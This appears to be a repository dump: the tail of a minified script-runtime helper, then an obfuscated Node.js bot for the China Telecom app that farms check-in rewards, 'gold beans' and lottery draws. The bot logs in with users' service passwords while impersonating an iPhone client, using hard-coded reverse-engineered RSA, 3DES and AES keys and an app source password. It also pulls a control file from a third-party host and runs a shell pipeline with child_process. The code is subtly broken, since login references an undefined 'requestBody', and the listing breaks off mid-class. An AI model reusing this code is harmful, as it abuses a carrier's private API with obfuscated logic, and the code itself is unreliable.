0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)}
335 | 


--------------------------------------------------------------------------------
/chinatelecom.js:
--------------------------------------------------------------------------------
   1 | /*
   2 | 电信营业厅 v6.02
   3 | 
   4 | 签到和完成部分金豆任务, 喂宠物
   5 | 7天,15天,28天连签抽奖, 宠物等级权益兑换
   6 | 
   7 | 自己设置电信的服务密码, 把 手机号#服务密码 填到变量里, 多账号换行或&或@隔开:
   8 | export chinaTelecomAccount="13888888888#123456"
   9 | 
  10 | 每天运行一两次
  11 | 
  12 | cron: 33 10,14 * * *
  13 | const $ = new Env("电信营业厅");
  14 | */
  15 | const _0x49dfef = _0x5370a4("电信营业厅"),
  16 |   _0x8e0885 = require("got"),
  17 |   _0x203c4a = require("path"),
  18 |   {
  19 |     exec: _0x3898d1
  20 |   } = require("child_process"),
  21 |   {
  22 |     CookieJar: _0x4f58d7
  23 |   } = require("tough-cookie"),
  24 |   _0x5336b3 = require("fs"),
  25 |   _0x5e650c = require("crypto-js"),
  26 |   _0x22f09c = "chinaTelecom",
  27 |   _0x1876a7 = /[\n\&\@]/,
  28 |   _0x4aec53 = [_0x22f09c + "Account"],
  29 |   _0x128624 = 30000,
  30 |   _0x5a04a9 = 3,
  31 |   _0x1736e2 = _0x22f09c + "Rpc",
  32 |   _0x16d3ea = process.env[_0x1736e2],
  33 |   _0xf4231c = 6.02,
  34 |   _0x14f289 = "chinaTelecom",
  35 |   _0x100b57 = "https://leafxcy.coding.net/api/user/leafxcy/project/validcode/shared-depot/validCode/git/blob/master/code.json",
  36 |   _0x344953 = "JinDouMall";
  37 | let _0x1d3d6d = {};
  38 | const _0x5370da = "./chinaTelecom_cache.json",
  39 |   _0x3ed712 = "Mozilla/5.0 (Linux; U; Android 12; zh-cn; ONEPLUS A9000 Build/QKQ1.190716.003) AppleWebKit/533.1 (KHTML, like Gecko) Version/5.0 Mobile Safari/533.1",
  40 |   _0x75a069 = "34d7cb0bcdf07523",
  41 |   _0x2304b1 = "1234567`90koiuyhgtfrdewsaqaqsqde",
  42 |   _0x1110eb = "\0\0\0\0\0\0\0\0",
  43 |   _0x3c561e = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBkLT15ThVgz6/NOl6s8GNPofdWzWbCkWnkaAm7O2LjkM1H7dMvzkiqdxU02jamGRHLX/ZNMCXHnPcW/sDhiFCBN18qFvy8g6VYb9QtroI09e176s+ZCtiv7hbin2cCTj99iUpnEloZm19lwHyo69u5UMiPMpq0/XKBO8lYhN/gwIDAQAB",
  44 |   _0x1e9565 = "-----BEGIN PUBLIC KEY-----\n" + _0x3c561e + "\n-----END PUBLIC KEY-----",
  45 |   _0x516f15 = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC+ugG5A8cZ3FqUKDwM57GM4io6JGcStivT8UdGt67PEOihLZTw3P7371+N47PrmsCpnTRzbTgcupKtUv8ImZalYk65dU8rjC/ridwhw9ffW2LBwvkEnDkkKKRi2liWIItDftJVBiWOh17o6gfbPoNrWORcAdcbpk2L+udld5kZNwIDAQAB",
  46 |   _0x4995b7 = "-----BEGIN PUBLIC KEY-----\n" + _0x516f15 + "\n-----END PUBLIC KEY-----",
  47 |   _0x51cf70 = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDIPOHtjs6p4sTlpFvrx+ESsYkEvyT4JB/dcEbU6C8+yclpcmWEvwZFymqlKQq89laSH4IxUsPJHKIOiYAMzNibhED1swzecH5XLKEAJclopJqoO95o8W63Euq6K+AKMzyZt1SEqtZ0mXsN8UPnuN/5aoB3kbPLYpfEwBbhto6yrwIDAQAB",
  48 |   _0x2e5ddf = "-----BEGIN PUBLIC KEY-----\n" + _0x51cf70 + "\n-----END PUBLIC KEY-----",
  49 |   _0xc38e90 = require("node-rsa");
  50 | let _0x13a631 = new _0xc38e90(_0x1e9565);
  51 | const _0x4386dc = {
  52 |   "encryptionScheme": "pkcs1"
  53 | };
  54 | _0x13a631.setOptions(_0x4386dc);
  55 | let _0x47bb4b = new _0xc38e90(_0x4995b7);
  56 | const _0xe2cacf = {
  57 |   "encryptionScheme": "pkcs1"
  58 | };
  59 | _0x47bb4b.setOptions(_0xe2cacf);
  60 | let _0x5b4189 = new _0xc38e90(_0x2e5ddf);
  61 | const _0x3ab892 = {
  62 |   "encryptionScheme": "pkcs1"
  63 | };
  64 | _0x5b4189.setOptions(_0x3ab892);
  65 | const _0x131d2d = [202201, 202202, 202203],
  66 |   _0x3c685e = 5;
  67 | function _0x1519a6(_0x5771d9, _0x450cac, _0x2c564d, _0x433dc7, _0x39c4aa, _0x4504ac) {
  68 |   return _0x5e650c[_0x5771d9].encrypt(_0x5e650c.enc.Utf8.parse(_0x433dc7), _0x5e650c.enc.Utf8.parse(_0x39c4aa), {
  69 |     "mode": _0x5e650c.mode[_0x450cac],
  70 |     "padding": _0x5e650c.pad[_0x2c564d],
  71 |     "iv": _0x5e650c.enc.Utf8.parse(_0x4504ac)
  72 |   }).ciphertext.toString(_0x5e650c.enc.Hex);
  73 | }
  74 | function _0x436a1e(_0x28a0ac, _0x359609, _0x282bea, _0x53ad35, _0x1dcccf, _0x387c88) {
  75 |   return _0x5e650c[_0x28a0ac].decrypt({
  76 |     "ciphertext": _0x5e650c.enc.Hex.parse(_0x53ad35)
  77 |   }, _0x5e650c.enc.Utf8.parse(_0x1dcccf), {
  78 |     "mode": _0x5e650c.mode[_0x359609],
  79 |     "padding": _0x5e650c.pad[_0x282bea],
  80 |     "iv": _0x5e650c.enc.Utf8.parse(_0x387c88)
  81 |   }).toString(_0x5e650c.enc.Utf8);
  82 | }
  83 | function _0x4e4355() {
  84 |   try {
  85 |     _0x5336b3.writeFileSync(_0x5370da, JSON.stringify(_0x1d3d6d, null, 4), "utf-8");
  86 |   } catch (_0x345e13) {
  87 |     console.log("保存缓存出错");
  88 |   }
  89 | }
  90 | function _0xa0ff1b() {
  91 |   try {
  92 |     _0x1d3d6d = JSON.parse(_0x5336b3.readFileSync(_0x5370da, "utf-8"));
  93 |   } catch (_0x27edaf) {
  94 |     console.log("读取缓存出错, 新建一个token缓存");
  95 |     _0x4e4355();
  96 |   }
  97 | }
  98 | let _0x300c8e = 0,
  99 |   _0xdb6efe = 0;
 100 | function _0x11cae0() {
 101 |   _0xdb6efe = 1;
 102 |   process.on("SIGTERM", () => {
 103 |     _0xdb6efe = 2;
 104 |     process.exit(0);
 105 |   });
 106 |   const _0x15d402 = _0x203c4a.basename(process.argv[1]),
 107 |     _0x55a240 = ["bash", "timeout", "grep"];
 108 |   let _0x517188 = ["ps afx"];
 109 |   _0x517188.push("grep " + _0x15d402);
 110 |   _0x517188 = _0x517188.concat(_0x55a240.map(_0x376a17 => "grep -v \"" + _0x376a17 + " \""));
 111 |   _0x517188.push("wc -l");
 112 |   const _0x2f47c6 = _0x517188.join("|"),
 113 |     _0x8109 = () => {
 114 |       _0x3898d1(_0x2f47c6, (_0x3db287, _0x30373e, _0x39f532) => {
 115 |         if (_0x3db287 || _0x39f532) return;
 116 |         _0x300c8e = parseInt(_0x30373e.trim(), 10);
 117 |       });
 118 |       _0xdb6efe == 1 && setTimeout(_0x8109, 2000);
 119 |     };
 120 |   _0x8109();
 121 | }
 122 | class _0x9d1851 {
 123 |   constructor() {
 124 |     this.index = _0x49dfef.userIdx++;
 125 |     this.name = "";
 126 |     this.valid = false;
 127 |     const _0x2c28d7 = {
 128 |         "limit": 0
 129 |       },
 130 |       _0x2c4edd = {
 131 |         "Connection": "keep-alive"
 132 |       },
 133 |       _0x5069eb = {
 134 |         "retry": _0x2c28d7,
 135 |         "timeout": _0x128624,
 136 |         "followRedirect": false,
 137 |         "ignoreInvalidCookies": true,
 138 |         "headers": _0x2c4edd
 139 |       };
 140 |     this.got = _0x8e0885.extend(_0x5069eb);
 141 |     _0xdb6efe == 0 && _0x11cae0();
 142 |   }
 143 |   ["log"](_0x493cba, _0x452fe5 = {}) {
 144 |     var _0x567ff8 = "",
 145 |       _0x1d5ec0 = _0x49dfef.userCount.toString().length;
 146 |     this.index && (_0x567ff8 += "账号[" + _0x49dfef.padStr(this.index, _0x1d5ec0) + "]");
 147 |     this.name && (_0x567ff8 += "[" + this.name + "]");
 148 |     _0x49dfef.log(_0x567ff8 + _0x493cba, _0x452fe5);
 149 |   }
 150 |   ["set_cookie"](_0x5a17b2, _0x55db68, _0x11f17c, _0x1e7a6c, _0x3e9954 = {}) {
 151 |     this.cookieJar.setCookieSync(_0x5a17b2 + "=" + _0x55db68 + "; Domain=" + _0x11f17c + ";", "" + _0x1e7a6c);
 152 |   }
 153 |   async ["request"](_0x5dffd5) {
 154 |     const _0x37ac5c = ["ECONNRESET", "EADDRINUSE", "ENOTFOUND", "EAI_AGAIN"],
 155 |       _0x2b4fd1 = ["TimeoutError"],
 156 |       _0xab6ac9 = ["EPROTO"],
 157 |       _0x875994 = [];
 158 |     var _0x2ae6b5 = null,
 159 |       _0x588da8 = 0,
 160 |       _0x2c97d1 = _0x5dffd5.fn || _0x5dffd5.url;
 161 |     let _0x5dfd65 = _0x49dfef.get(_0x5dffd5, "valid_code", _0x875994);
 162 |     _0x5dffd5.method = _0x5dffd5?.["method"]?.["toUpperCase"]() || "GET";
 163 |     let _0x3173c7, _0x2d079a;
 164 |     while (_0x588da8 < _0x5a04a9) {
 165 |       try {
 166 |         _0x588da8++;
 167 |         _0x3173c7 = "";
 168 |         _0x2d079a = "";
 169 |         let _0x56da93 = null,
 170 |           _0x20fa96 = _0x5dffd5?.["timeout"] || this.got?.["defaults"]?.["options"]?.["timeout"]?.["request"] || _0x128624,
 171 |           _0x372157 = false,
 172 |           _0x329022 = Math.max(this.index - 2, 0),
 173 |           _0xae873a = Math.min(Math.max(this.index - 3, 1), 3),
 174 |           _0x1df6bf = Math.min(Math.max(this.index - 4, 1), 4),
 175 |           _0x3dd9a2 = _0x329022 * _0xae873a * _0x1df6bf * 400,
 176 |           _0x5c8e85 = _0x329022 * _0xae873a * _0x1df6bf * 1800,
 177 |           _0x168d1c = _0x3dd9a2 + Math.floor(Math.random() * _0x5c8e85),
 178 |           _0x43a74c = _0x300c8e * (_0x300c8e - 1) * 2000,
 179 |           _0x6f7cc7 = (_0x300c8e - 1) * (_0x300c8e - 1) * 2000,
 180 |           _0x410dd7 = _0x43a74c + Math.floor(Math.random() * _0x6f7cc7),
 181 |           _0x37f92f = Math.max(_0x49dfef.userCount - 2, 0),
 182 |           _0x29c518 = Math.max(_0x49dfef.userCount - 3, 0),
 183 |           _0x4d7ea4 = _0x37f92f * 200,
 184 |           _0x428995 = _0x29c518 * 400,
 185 |           _0x5c5b4c = _0x4d7ea4 + Math.floor(Math.random() * _0x428995),
 186 |           _0x169ad4 = _0x168d1c + _0x410dd7 + _0x5c5b4c;
 187 |         await _0x49dfef.wait(_0x169ad4);
 188 |         await new Promise(async _0x3fddf4 => {
 189 |           setTimeout(() => {
 190 |             _0x372157 = true;
 191 |             _0x3fddf4();
 192 |           }, _0x20fa96);
 193 |           await this.got(_0x5dffd5).then(_0x209b82 => {
 194 |             _0x2ae6b5 = _0x209b82;
 195 |           }, _0x41c3d2 => {
 196 |             _0x56da93 = _0x41c3d2;
 197 |             _0x2ae6b5 = _0x41c3d2.response;
 198 |             _0x3173c7 = _0x56da93?.["code"] || "";
 199 |             _0x2d079a = _0x56da93?.["name"] || "";
 200 |           });
 201 |           _0x3fddf4();
 202 |         });
 203 |         if (_0x372157) this.log("[" + _0x2c97d1 + "]请求超时(" + _0x20fa96 / 1000 + "秒)，重试第" + _0x588da8 + "次");else {
 204 |           if (_0xab6ac9.includes(_0x3173c7)) {
 205 |             this.log("[" + _0x2c97d1 + "]请求错误[" + _0x3173c7 + "][" + _0x2d079a + "]");
 206 |             if (_0x56da93?.["message"]) {
 207 |               console.log(_0x56da93.message);
 208 |             }
 209 |             break;
 210 |           } else {
 211 |             if (_0x2b4fd1.includes(_0x2d079a)) {
 212 |               this.log("[" + _0x2c97d1 + "]请求错误[" + _0x3173c7 + "][" + _0x2d079a + "]，重试第" + _0x588da8 + "次");
 213 |             } else {
 214 |               if (_0x37ac5c.includes(_0x3173c7)) {
 215 |                 this.log("[" + _0x2c97d1 + "]请求错误[" + _0x3173c7 + "][" + _0x2d079a + "]，重试第" + _0x588da8 + "次");
 216 |               } else {
 217 |                 let _0x33b70b = _0x2ae6b5?.["statusCode"] || "",
 218 |                   _0x289577 = _0x33b70b / 100 | 0;
 219 |                 if (_0x33b70b) {
 220 |                   _0x289577 > 3 && !_0x5dfd65.includes(_0x33b70b) && (_0x33b70b ? this.log("请求[" + _0x2c97d1 + "]返回[" + _0x33b70b + "]") : this.log("请求[" + _0x2c97d1 + "]错误[" + _0x3173c7 + "][" + _0x2d079a + "]"));
 221 |                   if (_0x289577 <= 4) break;
 222 |                 } else this.log("请求[" + _0x2c97d1 + "]错误[" + _0x3173c7 + "][" + _0x2d079a + "]");
 223 |               }
 224 |             }
 225 |           }
 226 |         }
 227 |       } catch (_0x4c3a90) {
 228 |         _0x4c3a90.name == "TimeoutError" ? this.log("[" + _0x2c97d1 + "]请求超时，重试第" + _0x588da8 + "次") : this.log("[" + _0x2c97d1 + "]请求错误(" + _0x4c3a90.message + ")，重试第" + _0x588da8 + "次");
 229 |       }
 230 |     }
 231 |     const _0x493b70 = {
 232 |       "statusCode": _0x3173c7 || -1,
 233 |       "headers": null,
 234 |       "result": null
 235 |     };
 236 |     if (_0x2ae6b5 == null) {
 237 |       return Promise.resolve(_0x493b70);
 238 |     }
 239 |     let {
 240 |       statusCode: _0x307ac9,
 241 |       headers: _0x5205ad,
 242 |       body: _0x3a9f48
 243 |     } = _0x2ae6b5;
 244 |     if (_0x3a9f48) {
 245 |       try {
 246 |         _0x3a9f48 = JSON.parse(_0x3a9f48);
 247 |       } catch {}
 248 |     }
 249 |     const _0x37c203 = {
 250 |       "statusCode": _0x307ac9,
 251 |       "headers": _0x5205ad,
 252 |       "result": _0x3a9f48
 253 |     };
 254 |     return Promise.resolve(_0x37c203);
 255 |   }
 256 | }
 257 | let _0x280825 = _0x9d1851;
 258 | try {
 259 |   let _0x236d58 = require("./LocalBasic");
 260 |   _0x280825 = _0x236d58;
 261 | } catch {}
 262 | let _0x3b1630 = new _0x280825(_0x49dfef);
 263 | class _0x3f433d extends _0x280825 {
 264 |   constructor(_0x4802c1) {
 265 |     super(_0x49dfef);
 266 |     let _0x2a7cbd = _0x4802c1.split("#");
 267 |     this.name = _0x2a7cbd[0];
 268 |     this.passwd = _0x2a7cbd?.[1] || "";
 269 |     this.uuid = [_0x49dfef.randomPattern("xxxxxxxx"), _0x49dfef.randomPattern("xxxx"), _0x49dfef.randomPattern("4xxx"), _0x49dfef.randomPattern("xxxx"), _0x49dfef.randomPattern("xxxxxxxxxxxx")];
 270 |     this.cookieJar = new _0x4f58d7();
 271 |     this.can_feed = true;
 272 |     this.jml_tokenFlag = "";
 273 |     this.mall_token = "";
 274 |     const _0xf01b6c = {
 275 |       "Connection": "keep-alive",
 276 |       "User-Agent": _0x3ed712
 277 |     };
 278 |     this.got = this.got.extend({
 279 |       "cookieJar": this.cookieJar,
 280 |       "headers": _0xf01b6c
 281 |     });
 282 |   }
 283 |   ["load_token"]() {
 284 |     let _0x14cf8a = false;
 285 |     return _0x1d3d6d[this.name] && (this.userId = _0x1d3d6d[this.name].userId, this.token = _0x1d3d6d[this.name].token, this.log("读取到缓存token"), _0x14cf8a = true), _0x14cf8a;
 286 |   }
 287 |   ["encode_phone"]() {
 288 |     let _0x266210 = this.name.split("");
 289 |     for (let _0x5f797f in _0x266210) {
 290 |       _0x266210[_0x5f797f] = String.fromCharCode(_0x266210[_0x5f797f].charCodeAt(0) + 2);
 291 |     }
 292 |     return _0x266210.join("");
 293 |   }
 294 |   ["encode_aes"](_0x47873f) {
 295 |     return _0x1519a6("AES", "ECB", "Pkcs7", _0x47873f, _0x75a069, 0);
 296 |   }
 297 |   ["get_mall_headers"]() {
 298 |     return {
 299 |       "Content-Type": "application/json;charset=utf-8",
 300 |       "Accept": "application/json, text/javascript, */*; q=0.01",
 301 |       "Authorization": this.mall_token ? "Bearer " + this.mall_token : "",
 302 |       "X-Requested-With": "XMLHttpRequest"
 303 |     };
 304 |   }
 305 |   async ["login"](_0x568c8f = {}) {
 306 |     let _0x172a21 = false;
 307 |     try {
 308 |       let _0x4709da = _0x49dfef.time("yyyyMMddhhmmss"),
 309 |         _0x21d997 = "iPhone 14 15.4." + this.uuid.slice(0, 2).join("") + this.name + _0x4709da + this.passwd + "0$$$0.",
 310 |         _0x1b5e27 = {
 311 |           "fn": "login",
 312 |           "method": "post",
 313 |           "url": "https://appgologin.189.cn:9031/login/client/userLoginNormal",
 314 |           "json": {
 315 |             "headerInfos": {
 316 |               "code": "userLoginNormal",
 317 |               "timestamp": _0x4709da,
 318 |               "broadAccount": "",
 319 |               "broadToken": "",
 320 |               "clientType": "#9.6.1#channel50#iPhone 14 Pro Max#",
 321 |               "shopId": "20002",
 322 |               "source": "110003",
 323 |               "sourcePassword": "Sid98s",
 324 |               "token": "",
 325 |               "userLoginName": this.name
 326 |             },
 327 |             "content": {
 328 |               "attach": "test",
 329 |               "fieldData": {
 330 |                 "loginType": "4",
 331 |                 "accountType": "",
 332 |                 "loginAuthCipherAsymmertric": _0x13a631.encrypt(_0x21d997, "base64"),
 333 |                 "deviceUid": this.uuid.slice(0, 3).join(""),
 334 |                 "phoneNum": this.encode_phone(),
 335 |                 "isChinatelecom": "0",
 336 |                 "systemVersion": "15.4.0",
 337 |                 "authentication": this.passwd
 338 |               }
 339 |             }
 340 |           }
 341 |         },
 342 |         {
 343 |           result: _0x44e3e2,
 344 |           statusCode: _0x15338e
 345 |         } = await this.request(_0x1b5e27),
 346 |         _0x5d0534 = _0x49dfef.get(_0x44e3e2?.["responseData"], "resultCode", -1);
 347 |       console.log("Request Content:", requestBody.content);
 348 |       if (_0x5d0534 == "0000") {
 349 |         let {
 350 |           userId = "",
 351 |           token = ""
 352 |         } = _0x44e3e2?.["responseData"]?.["data"]?.["loginSuccessResult"] || {};
 353 |         this.userId = userId;
 354 |         this.token = token;
 355 |         this.log("使用服务密码登录成功");
 356 |         _0x1d3d6d[this.name] = {
 357 |           "token": token,
 358 |           "userId": userId,
 359 |           "t": Date.now()
 360 |         };
 361 |         _0x4e4355();
 362 |         _0x172a21 = true;
 363 |       } else {
 364 |         let _0x4d711e = _0x44e3e2?.["msg"] || _0x44e3e2?.["responseData"]?.["resultDesc"] || _0x44e3e2?.["headerInfos"]?.["reason"] || "";
 365 |         this.log("服务密码登录失败[" + _0x5d0534 + "]: " + _0x4d711e);
 366 |       }
 367 |     } catch (_0x2334e8) {
 368 |       console.log(_0x2334e8);
 369 |     } finally {
 370 |       return _0x172a21;
 371 |     }
 372 |   }
 373 |   async ["get_ticket"](_0x292809 = {}) {
 374 |     let _0x3ff995 = "";
 375 |     try {
 376 |       let _0x495fa7 = "\n            <Request>\n                <HeaderInfos>\n                    <Code>getSingle</Code>\n                    <Timestamp>" + _0x49dfef.time("yyyyMMddhhmmss") + "</Timestamp>\n                    <BroadAccount></BroadAccount>\n                    <BroadToken></BroadToken>\n                    <ClientType>#9.6.1#channel50#iPhone 14 Pro Max#</ClientType>\n                    <ShopId>20002</ShopId>\n                    <Source>110003</Source>\n                    <SourcePassword>Sid98s</SourcePassword>\n                    <Token>" + this.token + "</Token>\n                    <UserLoginName>" + this.name + "</UserLoginName>\n                </HeaderInfos>\n                <Content>\n                    <Attach>test</Attach>\n                    <FieldData>\n                        <TargetId>" + _0x1519a6("TripleDES", "CBC", "Pkcs7", this.userId, _0x2304b1, _0x1110eb) + "</TargetId>\n                        <Url>4a6862274835b451</Url>\n                    </FieldData>\n                </Content>\n            </Request>";
 377 |       const _0xd42d5c = {
 378 |         "fn": "get_ticket",
 379 |         "method": "post",
 380 |         "url": "https://appgologin.189.cn:9031/map/clientXML",
 381 |         "body": _0x495fa7
 382 |       };
 383 |       let {
 384 |         result: _0x364c7d,
 385 |         statusCode: _0xd880be
 386 |       } = await this.request(_0xd42d5c);
 387 |       if (_0x364c7d) {
 388 |         let _0x18bfb2 = _0x364c7d.match(/\<Ticket\>(\w+)\<\/Ticket\>/);
 389 |         if (_0x18bfb2) {
 390 |           let _0x33b8c5 = _0x18bfb2[1];
 391 |           _0x3ff995 = _0x436a1e("TripleDES", "CBC", "Pkcs7", _0x33b8c5, _0x2304b1, _0x1110eb);
 392 |           this.ticket = _0x3ff995;
 393 |         }
 394 |       }
 395 |       !_0x3ff995 && (!_0x292809.retry && (await this.login()) ? (_0x292809.retry = true, _0x3ff995 = await this.get_ticket(_0x292809)) : (this.log("没有获取到ticket[" + _0xd880be + "]: "), _0x364c7d && this.log(": " + JSON.stringify(_0x364c7d))));
 396 |     } catch (_0x28f8f2) {
 397 |       console.log(_0x28f8f2);
 398 |     } finally {
 399 |       return _0x3ff995;
 400 |     }
 401 |   }
 402 |   async ["get_sign"](_0xd5e98b = {}) {
 403 |     let _0x3728d3 = false;
 404 |     try {
 405 |       const _0x228472 = {
 406 |           "ticket": this.ticket
 407 |         },
 408 |         _0x1dce3c = {
 409 |           "fn": "login",
 410 |           "method": "get",
 411 |           "url": "https://wapside.189.cn:9001/jt-sign/ssoHomLogin",
 412 |           "searchParams": _0x228472
 413 |         };
 414 |       let {
 415 |           result: _0x5b193e,
 416 |           statusCode: _0x5f0725
 417 |         } = await this.request(_0x1dce3c),
 418 |         _0x29efdb = _0x49dfef.get(_0x5b193e, "resoultCode", _0x5f0725);
 419 |       _0x29efdb == 0 ? (_0x3728d3 = _0x5b193e?.["sign"], this.sign = _0x3728d3, this.got = this.got.extend({
 420 |         "headers": {
 421 |           "sign": this.sign
 422 |         }
 423 |       })) : this.log("获取sign失败[" + _0x29efdb + "]: " + _0x5b193e);
 424 |     } catch (_0x2f28bb) {
 425 |       console.log(_0x2f28bb);
 426 |     } finally {
 427 |       return _0x3728d3;
 428 |     }
 429 |   }
 430 |   ["encrypt_para"](_0x2ea382) {
 431 |     let _0x4ed84a = typeof _0x2ea382 == "string" ? _0x2ea382 : JSON.stringify(_0x2ea382);
 432 |     return _0x47bb4b.encrypt(_0x4ed84a, "hex");
 433 |   }
